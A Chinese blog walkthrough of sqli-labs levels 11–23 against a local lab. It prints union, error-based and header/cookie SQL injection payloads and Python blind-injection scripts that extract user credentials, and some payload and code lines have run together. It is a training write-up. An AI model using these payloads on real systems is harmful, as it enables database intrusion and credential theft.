当前位置: 首页 > news >正文

网络安全之sql靶场(11-23)

sql靶场(11-23)

目录

第十一关(post注入)

第十二关

第十三关

第十四关

第十五关

第十六关

第十七关

第十八关

第十九关

第二十关

第二十一关

第二十二关

第二十三关


第十一关(post注入)

查看页面

我们发现是有注入点的,所以我们可以尝试使用联合查询注入

我们发现联合查询注入是可行的,接下来就是该爆数据库、表、字段和用户账号密码

aaa' union select 1,database()#
aaa' union select 1,group_concat(table_name) from information_schema.tables where table_schema ='security'#
aaa' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
aaa' union select 1,group_concat(username ,0x3a , password) from users#

结果

第十二关

查看页面

尝试之后发现这一关和十一关只是闭合方式不同

aaa") union select 1,database()#
aaa") union select 1,group_concat(table_name) from information_schema.tables where table_schema ='security'#
aaa") union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
aaa") union select 1,group_concat(username ,0x3a , password) from users#

结果

第十三关

查看页面,经过测试发现,只有报错注入可以回显,同时闭合方式也和之前有所不同。

aaa') and updatexml(1,user(),1)#
aaa') and updatexml(1,concat('~',(select database()),'~'),1)#
aaa') and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
aaa') and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),1)#
aaa') and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#

由于只能显示一个字段,所以我们使用limit进行逐个输出(我这里只输出第一组用户名和密码,其余自己进行)

第十四关

查看页面,经过测试发现这一关和第十三关只是闭合方式不同,所以我们依旧需要使用报错注入进行注入

aaa" and updatexml(1,user(),1)#
aaa" and updatexml(1,concat('~',(select database()),'~'),1)#
aaa" and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
aaa" and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),1)#
aaa" and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#

结果

第十五关

查看页面,经过不断测试,发现页面只有成功与失败两个界面,所以我的第一想法就是布尔盲注

所以我们使用脚本直接爆出来这关

import requests#爆破数据库名
# def inject_database(url):
#     name = ''
#     for i in range(1, 20):
#         min_value = 32
#         max_value = 128
#         mid = (min_value + max_value) // 2
#         while min_value < max_value:
#             data = {
#                 "uname": "aaaa' or ascii(substr(database(),%d,1))> %d#" % (i,mid),
#                 "passwd": "aaa"
#                     }
#             r = requests.post(url=url, data=data)
#             if "flag.jpg" in r.text:
#                 min_value = mid + 1
#             else:
#                 max_value = mid
#             mid = (min_value + max_value) // 2
#         if mid == 32:
#             break
#         name += chr(mid)
#         print(name)
#     return name#爆破表名
# def inject_database(url):
#     name = ''
#     for i in range(1, 20):
#         min_value = 32
#         max_value = 128
#         mid = (min_value + max_value) // 2
#         while min_value < max_value:
#             data = {
#                 "uname": "aaa' or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'), %d, 1)) > %d#" % (i, mid),
#                 "passwd": "aaa"
#                     }
#             r = requests.post(url=url, data=data)
#             if "flag.jpg" in r.text:
#                 min_value = mid + 1
#             else:
#                 max_value = mid
#             mid = (min_value + max_value) // 2
#         if mid == 32:
#             break
#         name += chr(mid)
#         print(name)
#     return name#爆破列名
# def inject_database(url):
#     name = ''
#     for i in range(1, 20):
#         min_value = 32
#         max_value = 128
#         mid = (min_value + max_value) // 2
#         while min_value < max_value:
#             data = {
#                 "uname": "aaa' or ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'), %d, 1)) > %d#" % (i, mid),
#                 "passwd": "aaa"
#                     }
#             r = requests.post(url=url, data=data)
#             if "flag.jpg" in r.text:
#                 min_value = mid + 1
#             else:
#                 max_value = mid
#             mid = (min_value + max_value) // 2
#         if mid == 32:
#             break
#         name += chr(mid)
#         print(name)
#     return name#爆破用户和密码
def inject_database(url):name = ''for i in range(1, 20):min_value = 32max_value = 128mid = (min_value + max_value) // 2while min_value < max_value:data = {"uname": "aaa' or ascii(substr((select group_concat(username, 0x3a, password) from users), %d, 1)) > %d#" % (i, mid),"passwd": "aaa"}r = requests.post(url=url, data=data)if "flag.jpg" in r.text:min_value = mid + 1else:max_value = midmid = (min_value + max_value) // 2if mid == 32:breakname += chr(mid)print(name)return nameif __name__ == "__main__":url = 'http://127.0.0.1/sqllabs/Less-15/'inject_database(url)

结果

第十六关

查看页面发现这一关和第十五关只有闭合方式不一样

import requests#爆破数据库名
# def inject_database(url):
#     name = ''
#     for i in range(1, 20):
#         min_value = 32
#         max_value = 128
#         mid = (min_value + max_value) // 2
#         while min_value < max_value:
#             data = {
#                 "uname": 'aaaa") or ascii(substr(database(),%d,1))> %d#' % (i,mid),
#                 "passwd": "aaa"
#                     }
#             r = requests.post(url=url, data=data)
#             if "flag.jpg" in r.text:
#                 min_value = mid + 1
#             else:
#                 max_value = mid
#             mid = (min_value + max_value) // 2
#         if mid == 32:
#             break
#         name += chr(mid)
#         print(name)
#     return name#爆破表名
# def inject_database(url):
#     name = ''
#     for i in range(1, 20):
#         min_value = 32
#         max_value = 128
#         mid = (min_value + max_value) // 2
#         while min_value < max_value:
#             data = {
#                 "uname": 'aaa") or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="security"), %d, 1)) > %d#' % (i, mid),
#                 "passwd": "aaa"
#                     }
#             r = requests.post(url=url, data=data)
#             if "flag.jpg" in r.text:
#                 min_value = mid + 1
#             else:
#                 max_value = mid
#             mid = (min_value + max_value) // 2
#         if mid == 32:
#             break
#         name += chr(mid)
#         print(name)
#     return name#爆破列名
# def inject_database(url):
#     name = ''
#     for i in range(1, 20):
#         min_value = 32
#         max_value = 128
#         mid = (min_value + max_value) // 2
#         while min_value < max_value:
#             data = {
#                 "uname": 'aaa") or ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema = "security" and table_name = "users"), %d, 1)) > %d#' % (i, mid),
#                 "passwd": "aaa"
#                     }
#             r = requests.post(url=url, data=data)
#             if "flag.jpg" in r.text:
#                 min_value = mid + 1
#             else:
#                 max_value = mid
#             mid = (min_value + max_value) // 2
#         if mid == 32:
#             break
#         name += chr(mid)
#         print(name)
#     return name#爆破用户和密码
def inject_database(url):name = ''for i in range(1, 20):min_value = 32max_value = 128mid = (min_value + max_value) // 2while min_value < max_value:data = {"uname": 'aaa") or ascii(substr((select group_concat(username, 0x3a, password) from users), %d, 1)) > %d#' % (i, mid),"passwd": 'aaa'}r = requests.post(url=url, data=data)if "flag.jpg" in r.text:min_value = mid + 1else:max_value = midmid = (min_value + max_value) // 2if mid == 32:breakname += chr(mid)print(name)return nameif __name__ == "__main__":url = 'http://127.0.0.1/sqllabs/Less-16/'inject_database(url)

结果

第十七关

这一关查看源码后发现,username不能进行注入了,但是password依然可以进行注入,但是这就有一个前提条件就是username必须输入正确。可以这一关的页面后发现这一关其实就是改密码,既然是改密码那么你就必须知道用户名了

证明我的想法是正确的,就是在密码这里进行注入

aaa' and updatexml(1,user(),1)#
aaa' and updatexml(1,concat('~',(select database()),'~'),1)#
1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),1)#
1' and (select 1 from (select count(*),concat(concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)a)#

结果

很明显,成功爆出来用户名和密码啦,想要继续爆就修改limit后面的参数就可以啦。

第十八关

查看页面

这一关经过测试感觉和之前的有些区别啦,这时候我分析源码后发现注入点在user-agent上,所以我们可以试着抓包进行注入(使用抓包工具burpsuite进行抓包)

首先使用proxy模块进行抓包,抓取后发送到repeater模块进行分析修改

很明显可以看出来有注入点啦

aaa' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1aaa' and updatexml(1,concat('~',(select database()),'~'),1) and '1'='11' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1) and '1'='11' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),1) and '1'='11' and (select 1 from (select count(*),concat(concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

很明显成功爆出来了他的用户名和密码。

第十九关

查看页面,感觉这一关和十八关有些类似

我直接进行了抓包,通过不断测试,发现注入点在referer上面

那么我就可以直接注入了

aaa' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1aaa' and updatexml(1,concat('~',(select database()),'~'),1) and '1'='11' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1) and '1'='11' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),1) and '1'='11' and (select 1 from (select count(*),concat(concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

结果

第二十关

查看页面并登录成功后发现cookie在页面中有点突出

所以直接抓包修改cookie看是不是注入点,结果显而易见是注入点

aaa' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1aaa' and updatexml(1,concat('~',(select database()),'~'),1) and '1'='11' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1) and '1'='11' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),1) and '1'='1admin' and (select 1 from (select count(*),concat(concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

结果

第二十一关

查看页面并成功登录后发现页面cookie进行了编码

那么我有理由猜测吧payload进行编码再注入,会不会爆出东西呢,试一试,

看来我猜测是没错,那么接下来就是把payload语句进行base64编码后在进行注入,这里不得不说burpsuite的优势了,自带编码模块(感觉挺爽得啦),payload放下面啦,自己进行编码吧

aaa' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1aaa' and updatexml(1,concat('~',(select database()),'~'),1) and '1'='11' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1) and '1'='11' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),1) and '1'='1admin' and (select 1 from (select count(*),concat(concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

结果

第二十二关

查看页面并成功登录后发现页面的cookie依然进行了编码,那我有理由怀疑是不是闭合方式变了呢,直接试一试

因为这个也是需要进行base64编码,自己进行编码

aaa" and updatexml(1,concat(0x7e,(select user()),0x7e),1) and "1"="1aaa" and updatexml(1,concat('~',(select database()),'~'),1) and '1'="11" and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1) and '1'="11" and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema ='security' and table_name='users'),0x7e),1) and '1'="1admin" and (select 1 from (select count(*),concat(concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'="1

结果

第二十三关

查看页面后发现这一关又回到了我们的老朋友GET传参啦

试过好多后无从下手,解读源代码后发现这一关进行了过滤,

想了一下,既然过滤了注释符,娜美我们直接进行闭合试一试

经过测试发现我的想法是可行的,

那么进行全过程是爆破吧

爆表
http://127.0.0.1/sqllabs/less-23/?id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%20=%27security%27%20and%20%271%27=%271爆字段
http://127.0.0.1/sqllabs/less-23/?id=-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20%271%27=%271爆用户和密码
http://127.0.0.1/sqllabs/less-23/?id=-1%27%20union%20select%201,2,group_concat(username%20,0x3a%20,%20password)%20from%20users%20where%20%271%27=%271

结果

接下来的24关我会放在单独的一片文档中,因为24关事二次注入,所以我还会引入两个ctf的二次注入

相关文章:

网络安全之sql靶场(11-23)

sql靶场&#xff08;11-23&#xff09; 目录 第十一关&#xff08;post注入&#xff09; 第十二关 第十三关 第十四关 第十五关 第十六关 第十七关 第十八关 第十九关 第二十关 第二十一关 第二十二关 第二十三关 第十一关&#xff08;post注入&#xff09; 查看…...

WordPress网站被入侵,劫持收录事件分析

7.15&#xff0c;网站被入侵&#xff0c;但是直到7月17日&#xff0c;我才发现被入侵。 16日&#xff0c;17日正常更新文章&#xff0c;17日查询网站收录数据时&#xff0c;在站长资源平台【流量与关键词】查询上&#xff0c;我发现了比较奇怪的关键词。 乱码关键词排名 起初…...

原生js: 实现三个水平tab按钮, 默认第一个上面有class, 点击另外的实现class=‘cur‘的切换的效果

问: <ul><li class"cur">热门问题</li><li>订阅问题</li><li>使用问题</li></ul> 这是我的代码, 这是我的代码: // 遍历 helpInfoClass 数组helpInfoClass.forEach((item, index) > {var itemId item[0];var i…...

C#语言基础速成Day07

“知止而后有定&#xff0c;定而后能静&#xff0c;静而后能安&#xff0c;安而后能虑&#xff0c;虑而后能得。” 目录 前言文章有误敬请斧正 不胜感恩&#xff01;||Day07 C#常见数据结构&#xff1a;1. 集合&#xff08;Collection&#xff09;1.1 **List<T>**1.2 **H…...

jvm运行时常量池溢出的原因

Java虚拟机&#xff08;JVM&#xff09;的运行时常量池&#xff08;Runtime Constant Pool&#xff09;是方法区的一部分&#xff0c;用于存储类和接口的常量池表&#xff0c;包括字面量和对类型、字段和方法的符号引用。运行时常量池溢出通常指的是常量池的内存使用达到了JVM设…...

floyd算法详解

算法是一种用于求解所有顶点对之间的最短路径问题的算法&#xff0c;特别适用于稠密图。下面是一个使用C实现的算法示例&#xff1a; #include <iostream> #include <climits> // For INT_MAXusing namespace std;const int V 4; // 图的顶点数// 定义一个函数来…...

Web前端性能优化的方向

减少dom渲染复杂列表优化缓存优化首页背景图片加载慢&#xff0c;可以放在服务器上&#xff0c;读取绝对路径900k的图片大小有些大&#xff0c;可以对图片进行压缩&#xff0c;tinypng网站压缩、熊猫压缩、bing域名下的图片url后面带参数w、h、qlt剪裁下拉框数据较多进行懒加载…...

【面试题】设计模式-责任链模式

设计模式-责任链模式 前言责任链简历案例代码小结 前言 我们知道&#xff0c;设计模式是面试时经常被问到的问题之一&#xff0c;这是因为设计模式能够体现出代码设计的美感&#xff0c;且在很多框架的底层也都会使用到各种设计模式&#xff0c;所以对设计模式的考察&#xff…...

JavaEE 第8节 单例模式详解

目录 概念 饿汉模式 懒汉模式 懒汉模式在多线程环境下的优化 1.线程安全问题 2.效率问题 3.指令重排序导致的问题 1&#xff09;为什么要进行指令重排序&#xff1f; 2&#xff09;指令重排序在上述代码为什么会构成问题&#xff1f; 导读&#xff1a; 单例模式是一种…...

OpenAI 发布 GPT-4o 模型安全评估报告:风险等级为“中等”|TodayAI

OpenAI 近日发布了最新的 GPT-4o 系统卡&#xff0c;这是一份研究文件&#xff0c;详细介绍了公司在推出其最新 AI 模型之前所进行的安全措施和风险评估。根据该评估报告&#xff0c;GPT-4o 的总体风险等级被评定为 “中等” 。 GPT-4o 于今年 5 月首次公开发布。在其发布之前…...

学习前端面试知识

2024-8-9 打卡第十天 学习视频链接 js延迟加载 延迟加载&#xff1a;等页面加载完成后再进行加载提高页面加载速度defer属性&#xff0c;同步加载&#xff0c;让脚本与文档同步解析&#xff0c;顺序执行&#xff0c;当文档解析完成再执行defer&#xff0c;执行完再执行脚本&…...

Leetcode JAVA刷刷站(9)回文数

一、题目概述 二、思路方向 在Java中&#xff0c;判断一个整数是否为回文数&#xff0c;可以通过将该整数转换为字符串&#xff0c;然后比较字符串与其反转后的字符串是否相同来实现。但这种方法在整数非常大时可能不太高效&#xff0c;因为它依赖于字符串操作。一个更高效的方…...

数据结构算法

⩕ 单调栈 1、概念 对于一个栈&#xff0c;维持其单调性&#xff0c;有两种情况&#xff0c;单调递增栈&#xff1a;由栈底到栈顶单调递增 单调递减栈&#xff1a;由栈底到栈顶单调递减 2、核心模板&#xff08; 单调递增栈 &#xff09; stack<int> stk; void …...

WordPress个性化站点

这个信息爆炸的时代&#xff0c;拥有一个能够迅速传达信息、展示个性、并能够与世界互动的在线平台&#xff0c;已成为企业和个人的基本需求。WordPress以其无与伦比的易用性和强大的扩展性&#xff0c;成为了构建此类平台的首选工具。而LNMP是由Linux、Nginx、MySQL和PHP组成的…...

GESP C++ 2024年03月一级真题卷

一、单选题&#xff08;每题 2 分&#xff0c;共 30 分&#xff09; 第 1 题 C表达式 (3 - 2) * 3 5 的值是( )。 A. -13 B. 8 C. 2 D. 0 答案&#xff1a;B 解析&#xff1a;略 第 2 题 C 语句 cout << "5%2" << 5 % 2 执行后的输出是…...

Linux驱动开发基础(Hello驱动)

所学内容来自百问网 目录 1. 文件在内核中的表示 2. 打开字符设备节点时&#xff0c;内核中也有对应的struct file 3. 编写驱动程序步骤 4. 相关知识点 4.1 涉及函数解析 4.2 module_init/module_exit的实现 4.3 register_chrdev的内部实现 4.4 class_destroy/device_…...

centos7安装 ES集群 elasticsearch

这里写自定义目录标题 编写启动脚本 elasticsearch.sh启动可能报错&#xff1a;elasticsearch 7.10启动报错 bootstrap checks failed解决方法问题原因&#xff1a;注意 退出xshell&#xff0c;重新登录&#xff1a; 上面两个配置项改完后&#xff0c;ES启动用户(es 或root) **…...

互联网应用主流框架整合【Redis数据结构及常用命令】

在大部分情况下我们使用Redis只是执行一些简单的命令操作&#xff0c;通常无需区分是否是在一个连接池里的同一个链接去执行&#xff0c;如果需要执行多条命令&#xff0c;需要保证命令在同一个链接里完成&#xff0c;则采用SessionCallback接口操作即可 Redis数据结构-字符串…...

GORM 自动迁移与命名策略

在现代软件开发中&#xff0c;数据库结构的维护和迁移是常见的挑战之一。GORM&#xff0c;作为 Go 语言中强大的 ORM 库&#xff0c;提供了自动迁移功能&#xff0c;帮助开发者轻松地管理数据库表结构的变更。此外&#xff0c;GORM 还允许开发者通过命名策略&#xff08;Naming…...

python社会科学问题研究的计算实验

实验十五&#xff1a;社会科学问题研究的计算实践 1.实验目标及要求 &#xff08;1&#xff09;掌握网络视角 &#xff08;2&#xff09;掌握社会网络基础内容 &#xff08;3&#xff09;掌握友谊悖论 2.实验主要内容 随机生成一次符合社会网络特征的网络&#xff0c;通过计…...

idea大量爆红问题解决

问题描述 在学习和工作中&#xff0c;idea是程序员不可缺少的一个工具&#xff0c;但是突然在有些时候就会出现大量爆红的问题&#xff0c;发现无法跳转&#xff0c;无论是关机重启或者是替换root都无法解决 就是如上所展示的问题&#xff0c;但是程序依然可以启动。 问题解决…...

日语AI面试高效通关秘籍:专业解读与青柚面试智能助攻

在如今就业市场竞争日益激烈的背景下&#xff0c;越来越多的求职者将目光投向了日本及中日双语岗位。但是&#xff0c;一场日语面试往往让许多人感到步履维艰。你是否也曾因为面试官抛出的“刁钻问题”而心生畏惧&#xff1f;面对生疏的日语交流环境&#xff0c;即便提前恶补了…...

IGP(Interior Gateway Protocol,内部网关协议)

IGP&#xff08;Interior Gateway Protocol&#xff0c;内部网关协议&#xff09; 是一种用于在一个自治系统&#xff08;AS&#xff09;内部传递路由信息的路由协议&#xff0c;主要用于在一个组织或机构的内部网络中决定数据包的最佳路径。与用于自治系统之间通信的 EGP&…...

鱼香ros docker配置镜像报错:https://registry-1.docker.io/v2/

使用鱼香ros一件安装docker时的https://registry-1.docker.io/v2/问题 一键安装指令 wget http://fishros.com/install -O fishros && . fishros出现问题&#xff1a;docker pull 失败 网络不同&#xff0c;需要使用镜像源 按照如下步骤操作 sudo vi /etc/docker/dae…...

高防服务器能够抵御哪些网络攻击呢?

高防服务器作为一种有着高度防御能力的服务器&#xff0c;可以帮助网站应对分布式拒绝服务攻击&#xff0c;有效识别和清理一些恶意的网络流量&#xff0c;为用户提供安全且稳定的网络环境&#xff0c;那么&#xff0c;高防服务器一般都可以抵御哪些网络攻击呢&#xff1f;下面…...

Maven 概述、安装、配置、仓库、私服详解

目录 1、Maven 概述 1.1 Maven 的定义 1.2 Maven 解决的问题 1.3 Maven 的核心特性与优势 2、Maven 安装 2.1 下载 Maven 2.2 安装配置 Maven 2.3 测试安装 2.4 修改 Maven 本地仓库的默认路径 3、Maven 配置 3.1 配置本地仓库 3.2 配置 JDK 3.3 IDEA 配置本地 Ma…...

零基础在实践中学习网络安全-皮卡丘靶场(第九期-Unsafe Fileupload模块)(yakit方式)

本期内容并不是很难&#xff0c;相信大家会学的很愉快&#xff0c;当然对于有后端基础的朋友来说&#xff0c;本期内容更加容易了解&#xff0c;当然没有基础的也别担心&#xff0c;本期内容会详细解释有关内容 本期用到的软件&#xff1a;yakit&#xff08;因为经过之前好多期…...

算法笔记2

1.字符串拼接最好用StringBuilder&#xff0c;不用String 2.创建List<>类型的数组并创建内存 List arr[] new ArrayList[26]; Arrays.setAll(arr, i -> new ArrayList<>()); 3.去掉首尾空格...

力扣热题100 k个一组反转链表题解

题目: 代码: func reverseKGroup(head *ListNode, k int) *ListNode {cur : headfor i : 0; i < k; i {if cur nil {return head}cur cur.Next}newHead : reverse(head, cur)head.Next reverseKGroup(cur, k)return newHead }func reverse(start, end *ListNode) *ListN…...

打手机检测算法AI智能分析网关V4守护公共/工业/医疗等多场景安全应用

一、方案背景​ 在现代生产与生活场景中&#xff0c;如工厂高危作业区、医院手术室、公共场景等&#xff0c;人员违规打手机的行为潜藏着巨大风险。传统依靠人工巡查的监管方式&#xff0c;存在效率低、覆盖面不足、判断主观性强等问题&#xff0c;难以满足对人员打手机行为精…...